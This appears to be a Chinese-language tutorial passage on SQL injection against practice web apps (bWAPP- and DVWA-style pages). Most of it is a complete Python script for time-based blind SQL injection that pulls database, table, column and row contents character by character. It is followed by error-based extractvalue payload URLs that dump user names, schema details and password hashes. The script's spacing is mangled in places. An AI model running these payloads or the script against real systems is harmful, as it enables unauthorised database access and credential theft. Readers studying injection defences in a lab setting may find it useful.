# 获取数据库名长度 defget_length_of_database(): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and length(database())=%d and sleep(1) -- &action=search" % ( ip_port, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i = i + 1
# 获取数据库名字 defget_name_of_database(): # 获取数据库名长度 length_of_database = get_length_of_database() name_of_database = "" for j inrange(1, length_of_database): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and ascii(substr(database(),%d,1))=%d and sleep(1) -- &action=search" % ( ip_port, j, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: name_of_database += chr(k) break return name_of_database
# 获取指定库中表的数量 defget_count_of_tables(): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.tables where table_schema=database())=%d and sleep(1) -- &action=search" % ( ip_port, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i = i + 1
# 获取指定库所有表的表名长度的列表 defget_length_list_of_tables(): # 获取指定库中表的数量 count_of_tables = get_count_of_tables() length_list = [] for i inrange(0, count_of_tables): j = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, i, j) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: length_list.append(j) break j = j + 1 return length_list
# 获取指定库中的所有表名列表 defget_tables(): # 获取指定库中表的数量 count_of_tables = get_count_of_tables() # 获取指定库所有表的表名长度的列表 length_list = get_length_list_of_tables() name_of_tables = [] for i inrange(0, count_of_tables): name = "" for j inrange(0, length_list[i]): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((table_name),%d,1)) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, j + 1, i, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: name += chr(k) break name_of_tables.append(name) return name_of_tables
# 获取指定表中列的数量 defget_count_of_columns(name_of_table): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.columns where table_schema=database() and table_name=\"%s\")=%d and sleep(1) -- &action=search" % ( ip_port, name_of_table, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i += 1
# 获取指定表所有列的列名长度 defget_length_list_of_columns(name_of_table): count_of_columns = get_count_of_columns(name_of_table) length_list = [] for i inrange(0, count_of_columns): j = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_table, i, j) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: length_list.append(j) break j = j + 1 return length_list
# 获取指定表的所有列的列名 defget_columns(name_of_table): count_of_columns = get_count_of_columns(name_of_table) length_list = get_length_list_of_columns(name_of_table) columns = [] for i inrange(0, count_of_columns): name = "" for j inrange(0, length_list[i]): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((column_name),%d,1)) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, j + 1, name_of_table, i, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: name += chr(k) break columns.append(name) return columns
# 获取指定表指定列名数据个数 defget_count_of_datas(name_of_table, name_of_column): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select count(%s) from %s)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_column, name_of_table, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i += 1
# 获取指定表指定列名数据长度列表 defget_length_list_of_datas(name_of_table, name_of_column): count_of_datas = get_count_of_datas(name_of_table, name_of_column) length_list = [] for i inrange(0, count_of_datas): j = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select length(%s) from %s limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_column, name_of_table, i, j) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: length_list.append(j) break j += 1 return length_list
# 爆破数据 defget_datas(name_of_table, name_of_column): count_of_datas = get_count_of_datas(name_of_table, name_of_column) length_list = get_length_list_of_datas(name_of_table, name_of_column) datas = [] for i inrange(count_of_datas): data = "" for j inrange(length_list[i]): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((%s),%d,1)) from %s limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_column, j + 1, name_of_table, i, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: data += chr(k) break datas.append(data) return datas
defmain(): print("Judging the database...") print() print("Getting the table name...") tables = get_tables() for i in tables: print("[+]%s" % (i)) print("The table names in this database are:%s" % (tables)) table = input("Select the Table name:") if table notin tables: print("Error!") exit() print() print("Getting the column names in the %s table......" % (table)) columns = get_columns(table) for i in columns: print("[+]%s" % (i)) whileTrue: print("The column name in %s are:%s" % (table, columns)) column = input("Select the Column name:") if column notin columns: print("Error!") exit() print() print("Getting the datas......") datas = get_datas(table, column) for i in datas: print("[+]%s" % (i)) choice = input("是否结束?Y/N") if choice == 'Y'or choice =='y': break
if __name__ == '__main__': main()
http头注入
报错注入
1.如果不使用concat函数,输出的版本信息不全。
2.0x7e是~
报错注入实战
1 2
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) -- &Submit=Submit#
1 2 3 4
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and extractvalue (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1))) -- &Submit=Submit#
1 2 3 4
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1))) -- &Submit=Submit#
1 2 3
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and extractvalue(1,concat(0x7e,(select password from users limit 1,1))) -- &Submit=Submit#
32个字符是由于extractvalue函数的限制,31个字符并不符合密码的加密字符数。
因此需要借助其他函数来泄露。
1 2 3
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and extractvalue(1,mid(concat(0x7e,(select password from users limit 1,1)),1,30)) -- &Submit=Submit#